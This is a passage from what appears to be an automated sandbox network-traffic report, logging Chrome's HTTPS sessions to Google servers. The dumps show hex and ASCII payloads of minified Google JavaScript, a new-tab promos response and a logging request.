-2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-20 07:09:06 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 31 36 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700316,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis
2024-11-20 07:09:06 UTC	1390	IN	Data Raw: 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d Data Ascii: or(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}
2024-11-20 07:09:06 UTC	1013	IN	Data Raw: 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c Data Ascii: (\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\
2024-11-20 07:09:06 UTC	313	IN	Data Raw: 31 33 32 0d 0a 5c 73 2a 28 3f 21 6a 61 76 61 73 63 72 69 70 74 3a 29 28 3f 3a 5b 5c 5c 77 2b 2e 2d 5d 2b 3a 7c 5b 5e 3a 2f 3f 23 5d 2a 28 3f 3a 5b 2f 3f 23 5d 7c 24 29 29 2f 69 3b 76 61 72 20 6c 65 2c 70 65 2c 68 65 3b 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 68 65 28 5f 2e 69 65 28 61 29 29 3a 66 65 7c 7c 28 66 65 5c 75 30 30 33 64 6e 65 77 20 68 65 29 7d 3b 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 Data Ascii: 132\s(?!javascript:)(?:[\\w+.-]+:\|[^:/?#](?:[/?#]\|$))/i;var le,pe,he;_.je\u003dfunction(a){return a?new he(_.ie(a)):fe\|\|(fe\u003dnew he)};_.ke\u003dfunction(a,b){return typeof b\u003d\u003d\u003d\"string\"?a.getElementById(b):b};_.U\u003dfunction(a,b)
2024-11-20 07:09:06 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 62 28 62 2c 66 75 6e 63 74 69 Data Ascii: 8000c.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.me\u003dfunction(a,b){_.Ab(b,functi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49709	142.250.186.68	443	4408	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:06 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 07:09:06 UTC	933	IN	HTTP/1.1 200 OK Version: 697526041 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 20 Nov 2024 07:09:06 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 07:09:06 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-20 07:09:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49718	216.58.212.174	443	4408	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:08 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 07:09:08 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 20 Nov 2024 01:21:04 GMT Expires: Thu, 20 Nov 2025 01:21:04 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 20884 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-20 07:09:08 UTC	475	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-20 07:09:08 UTC	1390	IN	Data Raw: 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 Data Ascii: n a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw E
2024-11-20 07:09:08 UTC	1390	IN	Data Raw: 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 4f 62 6a 65 63 74 2e Data Ascii: efined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.assign=="function"?Object.
2024-11-20 07:09:08 UTC	1390	IN	Data Raw: 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 3a 68 28 74 68 69 73 2e 54 4a 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 53 64 61 3d 66 75 6e 63 74 69 Data Ascii: ;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject:h(this.TJ)}};e.prototype.Sda=functi
2024-11-20 07:09:08 UTC	1390	IN	Data Raw: 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 6b 29 7b 76 61 72 20 6c 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 2e 63 61 6c 6c 28 6b 2c 6c 2e 72 65 73 6f 6c 76 65 Data Ascii: totype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=function(h,k){var l=this.jF();try{h.call(k,l.resolve
2024-11-20 07:09:08 UTC	1390	IN	Data Raw: 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 66 26 26 63 3c 65 3b 29 69 66 28 64 5b 63 2b 2b 5d 21 3d 62 5b 68 2b 2b 5d 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 20 68 3e 3d 66 7d 7d Data Ascii: egular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));for(var h=0;h<f&&c<e;)if(d[c++]!=b[h++])return!1;return h>=f}}
2024-11-20 07:09:08 UTC	1390	IN	Data Raw: 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 72 65 74 75 72 6e 20 63 28 6c 29 26 26 73 61 28 6c 2c 66 29 3f 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3a 76 6f 69 64 Data Ascii: (l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return this};k.prototype.get=function(l){return c(l)&&sa(l,f)?l[f][this.Ga]:void
2024-11-20 07:09:08 UTC	1390	IN	Data Raw: 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 2e 73 69 7a 65 3d 30 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 21 21 64 28 74 68 69 73 2c 6b 29 2e 5a 65 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: h\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this.size=0};c.prototype.has=function(k){return!!d(this,k).Ze};c.prototype.get=function(
2024-11-20 07:09:08 UTC	1390	IN	Data Raw: 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 74 75 72 6e 21 31 3b 66 3d 65 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 3d 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 2e 78 21 3d 34 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 66 2e 76 61 6c 75 65 5b 30 5d 3f 21 31 3a 65 2e 6e 65 Data Ascii: ]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)return!1;f=e.next();return f.done\|\|f.value[0]==c\|\|f.value[0].x!=4\|\|f.value[1]!=f.value[0]?!1:e.ne
2024-11-20 07:09:08 UTC	1390	IN	Data Raw: 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 29 3a 28 65 2d 3d 36 35 35 33 36 2c 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 3e 3e 3e 31 30 26 31 30 32 33 7c 35 35 32 39 36 29 2c 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 26 31 30 32 33 7c 35 36 33 32 30 29 29 7d 72 65 74 75 72 6e 20 63 7d 7d 29 3b 6e 61 28 Data Ascii: d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(e):(e-=65536,c+=String.fromCharCode(e>>>10&1023\|55296),c+=String.fromCharCode(e&1023\|56320))}return c}});na(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49721	142.250.185.78	443	4408	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:09 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 905 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
